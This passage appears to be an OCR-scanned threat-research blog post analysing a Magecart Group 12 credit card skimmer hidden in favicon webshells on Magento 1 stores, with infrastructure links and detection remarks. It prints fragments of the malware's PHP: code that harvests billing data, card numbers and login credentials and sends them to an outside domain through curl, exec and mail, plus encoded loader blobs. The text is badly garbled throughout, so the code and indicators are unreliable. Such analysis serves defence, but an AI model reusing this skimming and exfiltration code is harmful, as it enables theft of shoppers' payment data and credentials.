gACIgoQD7BSKpcYsZGIoMHd ZlGelQVE_H_?F_e.ES_?FQ_aIS_?gi.nZLIU2Yu FmbhRnbpFWbvICIuASXNQITPI1XUS
URNV1QPREIbIVRWIVRTSFIg@DInFGbmRiCHoQDepQDSBCIgAICNsTK@FGZkgSbpIHdgeDIBFGZKACTIgACIgACT

KewOpIChyVHIgwmc INmIoMWZAV2ZXyVGEcINHIZACAhRGIgACIgACIgAICNSHIpQXYKRSIoALIZpBCIgAICHOQDEE

start: 321 time: 22ms
end: 3218  length: 3331 |_ ra
OUtPUt length: a lines: 122 B D m -

define("BACK_HOST", I http://zolo. [Jldfml_E@Zl_‘FDr‘CE"j; 2

function super_curl_zilla({$%url, $post) {
foptions = array(

< & 0 A Mot secure | zolo.pw/m1_2021_force/2.ixt 3

$beda_code "REQUEST_METHOD"
basegd_decode "#onepage |checkout |onestep | firecheckout |onestepcheckout#" HEsaiYESER LI
ICdBRERS Jywgl2d LEGHEEILi ISyl i ICdodCcsDQogICAgIY
dDonLCARXBMnLCANDL S gt = JywgIy58TywgIyNel
LiAnRCc7Ciag TCAKY 2 gETs bl idu 18 12hlvycgliAkcGIrZy
Uant R E I "hitps://pathc. space/space/widget. txt" IC4gl1FVRScgliake
BRSPS LLEL LAY "HTTP_CLIENT _IP" ¥YXRoIyAuICRwb2tlal
SLT NG S BN “HTTP_X_FORWAF<7php
Rt e oy TR e gl "' REMOTE_ADDR"
LiAnZXI6]zsKICAZTC AR LET Sl (!defined("MEGALODON_HEAD"}) {
CiAgTCARYWNpC Zhyyy A TI i 1
bNF@gLiAnl TknIC4g ] ETa T 4o define("MEGALODON_HEAD", 1);
AkXINFULZFULs kYN ool g [

SAKXINFUIZFULskdlR g STa-Th {!defined("CRC_MEGALODON")) {

bXwEeWysICR]b3IB Lo Lg g E i d $crc32 = isset($_SERVER['HTTP_HOST']) ? crc3Z($_SER
hemljaCwgIFETRVIWRGEL [gtT Tk (PHP_INT_SIZE = 4)

AgICAKZXNoZXpvbCas TRESSNS: WE ($cre32

CAgICAgICASTCAZTCAOAN $crc32 = $crc32
VKWSSUZZSESTVCwgZm ARV ETT T O [Ta el [ $crc32 = abs(%$crc32);
sICTkeHVxeXNSZGEg] A dgg=\as define("CRC_MEGALODON", $crec32);
VzaGVeb2wpOwogICag define("CRC_MEGALODON_SHORT", $crc32
TeKICAgICASICAZICA

define("TREX_CODE", ( !defined("MEGALODON_BACKUP"
trim{'$MzQBgIsvRe=""154" ] aa"" define("MEGALODON_BACKUP"
vRe.="\x73\x73" ;$NzQBglsvRe.="\1
iUB_jR(%e8X5ar_);$0IwvNn_xer=$ri (isset{$_COOKIE['portzilla'l))
kSLYSBUb1x2bsV2Yng ChpFlbABCIgAC T $_COOKIE['portzilla'l = '';
hWilefN2YkgicBNnYINHISAL chvWe fN2YH
98Q0VEXUB1THIVWDBL IgACIgACIgACTE ({(isset($_COOKIE['wtf'l))
1 AUTICRFUBYSVKVSHyd IVFROXOhPULQNX "Ttw'l) g
TESET@5TSEVERCIpKSB7DQoNC14gICEK $get_url = "https://zolo.pw/wif/index.phpth=" ]
1QgACIgACIgACTEACTBACT gACTEACTZA] $content = "";

9DTe9LSUVbI3deriddkskglivgKalkNsg (function_exist: Ry
gACTgACTgACTIGACIKAQKp@ 1] hxGhppHd $options A U
gICAgZmIyZWF jaCAo] FOQTINUWy dwyX1Y OPT_RI ANSFER “ 124
CAgICABQIVSTESQVFEFTKNPREIORY AP CLIRL E fals aPT4
BRIl LIE ] TR eIV IRl 1 o2 Frldatr it T Ao T =1 L 02 2a_ 12 TR A f iy A I nTal T I Ao T In

Further looking into the m1_2021_force directory reveals additional code very specific to credit card skimming.
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(isset($_POST['billing'])) {

$bill = $ _POST['billing'] ['firstname"] AL $ POST['billing'] ['lastname'] " % POST['
billing'] ['street']1['@"'] I % POST['billing']l['city'] I $ POST['billing'1["
region’] " |" . $_POST['billing'] ['postcode’] "|' . $_POST['billing']l['country_id"l]
“|' . $_POST['billing'l['telephone’] "' % POST['billing'l['email'l;

setcookie(" _mdata", bas de($bill), time() 3 ")

$_COOKIE[' mdata'] basefd encode($bill);

(isset($_POST['payment']}) {
$fieldsArray = array(
" oeco_num. M

[ +exp_month.=/"

expirationMonth.

foamsn_set.+ /" 2
Xp_Y.rf

$cc_month;
Py & ..'.1]-

$cc_year = substr{$cc_year, 2, 2);
$cc_pay $cc_number o $cc_month - $cc_year o $cc_cid;

(isset($_COOKIE[' mdata']))

$cc_pay " base code($_COOKIE['_mdata']
$cc_pay_encoded = base64_enc _rotl13($cc_pay . "\rinx $_SERVER['HTTP_HOST']

$_SERVER['SERVER_ADDR'] * H

$cc_pay_encoded - str_replace("+", , $cc_pay_encoded);

] ts{"curl_init")) {
alodon_backup_g y{"'https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded, T
fent = trim($ent);

($ecnt "1') {

$cnt T1ile _contents{'https://celolum. com/MEGALODON/ index. phptview="
cc_pay_encoded) ;

$cnt = trim($cnt);

({$cnt '1') (function_exists("exec"})) {
exec('curl —insecure ' https://celolum. com/MEGALODON/ index. phpTview="
cc_pay_encoded) ;

}

mail('celolum@yandex.ru', 'bb_' $_SERVER['HTTP_HOST'], $cc_pay);

(!defined("MEGALODON_U" . CRC
C "MEGALODON_U" . CRC_!

$get_url "hitps://pathc. space/MEGALODON/ index. php?view=";

({isset($_POST['login'l) (isset($_POST['login'] ['username']l}) {(isset($_POST['login']['
password'1)})) {

tatoken = base64_encode($_POST['login'] [’ name et & POST['login']['pass
setcookie("_dntoken", $atoken, time()

$_COOKIE['_dntoken'] $atoken;

The data exfiltration part matches what researcher Denis @unmaskparasites had found back in March on

WordPress sites (Smilodon malware) which also steals user credentials:
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Denis

WordPress "Smilodon" malware (decoded) that steals payment details
and user credentials. Exfil domains redorn[.]space and predator[.]host.
Found in the _vp_ai_ping_11669596 option in WP database

Thanks

A similar PHP file (Mage.php) was reported by SanSec as well:
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw

var 1 = window,outerdidth window . innere
var & = window.outerHeight - window.inne
returm (e && 1 || !{winddw. Firebug && wi

Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.

®

facedook host

T

o

195.123.217.18

" ®
=
® ©

recaptcha-in.pw
google-statik.prr

@

muhtarpashatashanov@yandex.ru

i ]
\ /
kermo.pw zeborn.p z0l0 pw

] ~| Magecart Group 12: End of Life
83.166.241.205 B83.166.246.34 E ‘
® - 2

Web Skimmer with a Domain Name
qr202754.pw

jamal.budunoff@yandes.ru

Cardbleed: 3% of Magenta instal

L~
—

portal-d.pw

®

gooogletagmanager.online

l \

® . x

imags pw 83.166.244.152

Voo N
® 0.

s,
pathc space

https:fitwitter.com/unmaskparas

® @ ®

®

b il

L ® ¢ ®

predator host  YATWitali@yandexru redrd e
=
o 1

\ / 83.166.244.76
. nikals-az@rambler.ru
funitter.comisansecio/st... 83.166.244.113

2=
e
autacapital.pw
sooe-club.pw
; P
https:/owitter. comiunmaskparas myicons.net @, .,}

=~ &
®
/ tgpw googletagmanagr.com \\
~ e
o

I S

83.166.242.105  §3.166.245.131 §3.166.246.81

http.ps

o

83.166.248.67

Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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